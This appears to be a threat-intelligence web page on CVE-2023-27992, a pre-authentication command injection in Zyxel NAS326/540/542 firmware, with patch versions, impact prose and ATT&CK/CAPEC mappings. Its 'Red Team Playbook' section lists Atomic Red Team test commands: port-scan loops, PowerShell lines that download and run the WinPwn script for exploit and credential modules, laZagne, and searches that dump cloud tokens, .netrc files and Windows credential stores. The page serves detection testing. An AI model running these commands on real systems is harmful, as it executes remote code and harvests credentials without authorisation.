CVE-2023-27992
Overview
This vulnerability is a pre-authentication command injection affecting the Zyxel NAS326, NAS540, and NAS542 firmware. The root cause lies in improper input validation of HTTP request parameters that are directly passed to operating system command execution functions. The affected component is the firmware's HTTP service that handles incoming requests without sufficient sanitization, allowing injection of arbitrary OS commands.
Vulnerability Description
The pre-authentication command injection vulnerability in the Zyxel NAS326 firmware versions prior to V5.21(AAZF.14)C0, NAS540 firmware versions prior to V5.21(AATB.11)C0, and NAS542 firmware versions prior to V5.21(ABAG.11)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands remotely by sending a crafted HTTP request.
Impact
An unauthenticated attacker can execute arbitrary operating system commands remotely on affected Zyxel NAS devices. This enables full control over the device, including access to sensitive data, modification or deletion of files, and disruption of services. No authentication or user interaction is required, allowing remote compromise from the network. The business consequence includes potential data breaches, device takeover, and lateral movement within the network environment.
Solution
Zyxel has released firmware updates addressing this vulnerability: NAS326 firmware version V5.21(AAZF.14)C0, NAS540 firmware version V5.21(AATB.11)C0, and NAS542 firmware version V5.21(ABAG.11)C0 or later. Users should upgrade to these versions promptly. Detailed patch instructions and advisories are available at Zyxel's official security advisory page: https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-pre-authentication-command-injection-vulnerability-in-nas-products
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The pre-authentication command injection vulnerability present in specific Zyxel NAS firmware versions poses a significant risk to the security of affected devices. This vulnerability allows an unauthenticated attacker to execute arbitrary operating system commands remotely by crafting specially designed HTTP requests. The flaw arises from inadequate input validation in the firmware, which fails to properly sanitize user inputs before processing them. As a result, an attacker can manipulate the command execution flow, leading to unauthorized access and control over the device. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating critical risk levels that warrant immediate attention.
Attack vectors for this vulnerability are primarily web-based, as the exploitation occurs through HTTP requests sent to the vulnerable NAS devices. An attacker could leverage various methods to exploit this flaw, including automated scripts or manual crafting of requests. Once the attacker successfully injects commands, they can execute a range of malicious actions, such as installing malware, exfiltrating sensitive data, or even using the compromised device as a launchpad for further attacks on the network. Given the nature of NAS devices, which often store critical business data, the potential for data breaches and subsequent exploitation is substantial.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on Zyxel NAS devices for data storage and management. Successful exploitation could lead to unauthorized access to sensitive files, resulting in data loss, corruption, or theft. Furthermore, the compromised devices could be utilized in larger attacks, such as distributed denial-of-service (DDoS) attacks or as part of a botnet. The business risks associated with such incidents include financial losses, reputational damage, and potential legal ramifications stemming from data protection regulations. Organizations may face significant recovery costs and operational disruptions, emphasizing the need for immediate remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts related to the affected devices. Employing web application firewalls (WAFs) can also provide an additional layer of security by filtering out malicious requests before they reach the NAS devices. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the pre-authentication command injection vulnerability in Zyxel NAS firmware represents a critical threat that organizations must address promptly. The potential for remote command execution by unauthenticated attackers poses significant risks to data integrity and confidentiality. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses. Implementing robust detection and mitigation strategies will not only help protect against this specific threat but also enhance the overall security posture of the organization.
CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2023-27992, indicating a modest uptick in attempts to exploit the pre-authentication command injection vulnerability in Zyxel NAS devices. While the EPSS score remains high and relatively stable, our telemetry reveals a subtle but consistent rise in detection events, suggesting that adversaries continue to probe for opportunities to leverage this critical flaw. Although no new exploit techniques or ransomware associations have emerged, the observed trend underscores persistent attacker interest and the potential for opportunistic exploitation. This development reinforces the necessity for defenders to maintain vigilance, as even incremental increases in exploitation attempts can precede more widespread or sophisticated campaigns. Consequently, the overall threat level remains critical, with a sustained risk of unauthorized remote command execution that could compromise device integrity and network security.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Nas326 Firmware | All |
cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nas540 Firmware | All |
cpe:2.3:o:zyxel:nas540_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nas542 Firmware | All |
cpe:2.3:o:zyxel:nas542_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27992 |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-pre-authentication-command-injection-vulnerability-in-nas-products |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27992 |